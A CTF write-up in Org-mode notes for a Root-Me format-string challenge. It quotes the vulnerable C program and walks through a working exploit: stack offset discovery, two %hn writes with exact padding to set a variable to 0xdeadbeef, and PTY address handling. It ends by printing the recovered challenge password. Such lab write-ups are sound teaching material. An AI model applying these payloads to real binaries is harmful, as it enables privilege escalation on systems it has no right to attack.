Files
ctf-notes/app-system/elf-x86-format-string-bug-basic-2/notes.org
Tuan-Dat Tran 5cd3b5a531 feat: app system challenges
Signed-off-by: Tuan-Dat Tran <tuan-dat.tran@dextradata.com>
2026-03-23 09:19:03 +01:00

251 lines
6.4 KiB
Org Mode

* ELF x86 - Format string bug basic 2
Description: Oder wie man das, was man will, an die gewünschte Stelle im Stapel schreibt
Aufgabe
Einstellungen der Umgebung
PIE Position Independent Executable pas_valide.svg?1566650180
RelRO Read Only relocations pas_valide.svg?1566650180
NX Non-Executable Stack valide.svg?1566650190
Heap exec Non-Executable Heap valide.svg?1566650190
ASLR Address Space Layout Randomization pas_valide.svg?1566650180
SF Source Fortification pas_valide.svg?1566650180
SSP Stack-Smashing Protection valide.svg?1566650190
SRC Zugriff auf den Source code valide.svg?1566650190
Quellcode
#+begin_src C
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main( int argc, char ** argv )
{
int var;
int check = 0x04030201;
char fmt[128];
if (argc <2)
exit(0);
memset( fmt, 0, sizeof(fmt) );
printf( "check at 0x%x\n", &check );
printf( "argv[1] = [%s]\n", argv[1] );
snprintf( fmt, sizeof(fmt), argv[1] );
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way !\n");
printf( "fmt=[%s]\n", fmt );
printf( "check=0x%x\n", check );
if (check==0xdeadbeef)
{
printf("Yeah dude ! You win !\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
}
#+end_src
Zugangsdaten für die Übung
#+begin_quote
Host challenge02.root-me.org
Protokoll SSH
Port 2222
Zugang per SSH ssh -p 2222 app-systeme-ch14@challenge02.root-me.org
Benutzername app-systeme-ch14
Passwort app-systeme-ch14
#+end_quote
* Investigation Log
** Downloaded challenge files
Used Paramiko to fetch remote files into =artifacts/=: =ch14=, =ch14.c=, =Makefile=.
Makefile confirms build flags:
- =-m32 -no-pie=
- =-z noexecstack=
This matches challenge metadata: no PIE, NX enabled, no ASLR on target.
** Vulnerability
The bug is here:
#+begin_src c
snprintf(fmt, sizeof(fmt), argv[1]);
#+end_src
=argv[1]= is used directly as a format string. With format directives like =%n=, we can write to memory.
Target variable:
#+begin_src c
int check = 0x04030201;
...
if (check == 0xdeadbeef) {
system("/bin/bash");
}
#+end_src
** Stack argument offset discovery
Bruteforce payload: =AAAA.%<i>$x=.
Result: at offset =9= we get =41414141=.
So first 4 bytes of our payload are interpreted as argument 9.
** Write strategy
Need to write =0xdeadbeef= into =check=.
Used two half-word writes with =%hn=:
- lower half (addr): =0xbeef= (=48879=)
- upper half (addr+2): =0xdead= (=57005=)
Payload layout:
- 4 bytes: =p32(check_addr)=
- 4 bytes: =p32(check_addr+2)=
- format tail: =%11$48871x%9$hn%12$8126x%10$hn=
Why those paddings:
- first 8 bytes already count as printed characters
- 48871 + 8 = 48879 (0xbeef) -> first =%hn=
- 8126 more chars -> 57005 (0xdead) -> second =%hn=
** Address behavior and PTY note
=check= stack address is stable for identical invocation shape, but differs between PTY and non-PTY sessions.
For reliable exploit:
- probe =check= address with same payload length and PTY mode
- immediately run exploit in PTY mode
Observed stable PTY probe address: =0xbffffb88=.
** Successful exploitation
Exploit output:
- =check=0xdeadbeef=
- =Yeah dude ! You win !=
- effective uid switched to =app-systeme-ch14-cracked=
Recovered password:
#+begin_quote
1l1k3p0Rn&P0pC0rn
#+end_quote
* Helper Scripts
- =scripts/find_offset.py=: brute-force the format-string stack offset.
- =scripts/exploit.py=: probes =check= address and performs 2x =%hn= write to spawn shell and read =.passwd=.
** Note: exploit implementation without struct.pack
The exploit script no longer uses =struct.pack("<I", ...)=.
Instead, it uses a manual little-endian encoder:
#+begin_src python
def p32_le(value: int) -> bytes:
value &= 0xFFFFFFFF
return bytes((
value & 0xFF,
(value >> 8) & 0xFF,
(value >> 16) & 0xFF,
(value >> 24) & 0xFF,
))
#+end_src
This produces the same 4-byte layout as =struct.pack("<I", value)= on x86.
Example:
- =0xbffffb88= -> bytes =88 fb ff bf=
- =0xbffffb8a= -> bytes =8a fb ff bf=
So the payload semantics are unchanged: argument 9 points to =check=, argument 10 points to =check+2=, and the two =%hn= writes still set =check= to =0xdeadbeef=.
* Solution Explanation
1) Identify the bug
The program calls:
#+begin_src c
snprintf(fmt, sizeof(fmt), argv[1]);
#+end_src
User input is interpreted as a format string. This allows format-string primitives like stack reads (=%x=) and memory writes (=%n= / =%hn=).
2) Define the win condition
The shell is spawned only if:
#+begin_src c
if (check == 0xdeadbeef) {
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
#+end_src
So exploitation goal is to overwrite local stack variable =check= from =0x04030201= to =0xdeadbeef=.
3) Find where our bytes land in variadic arguments
Using marker payloads like =AAAA.%<i>$x=, we detect when =41414141= appears.
Observed offset: =9=.
Meaning:
- bytes 0..3 of payload are read as argument 9
- bytes 4..7 of payload are read as argument 10
4) Choose a safe write primitive
Writing full 32-bit with one =%n= is possible but impractical due to huge padding.
Use two half-word writes with =%hn=:
- write lower 16 bits (=0xbeef=) to =check=
- write upper 16 bits (=0xdead=) to =check+2=
5) Build the payload
Payload bytes:
- first 4 bytes: little-endian address of =check=
- next 4 bytes: little-endian address of =check+2=
- then format tail: =%11$48871x%9$hn%12$8126x%10$hn=
Padding math:
- 8 raw address bytes are already counted as printed chars
- need first total count =48879= (=0xbeef=): print =48871= extra chars
- after first =%hn=, need second total count =57005= (=0xdead=): print =8126= extra chars
6) Handle runtime detail (PTY stability)
The stack address printed for =check= is stable only for the same invocation style.
PTY vs non-PTY shifts addresses. Reliable method:
- probe address in PTY mode with same payload length
- exploit immediately in PTY mode with same layout
7) Confirm success
Successful run shows:
- =check=0xdeadbeef=
- =Yeah dude ! You win !=
- effective identity =app-systeme-ch14-cracked=
- readable flag/password file =.passwd=
Recovered password:
#+begin_quote
1l1k3p0Rn&P0pC0rn
#+end_quote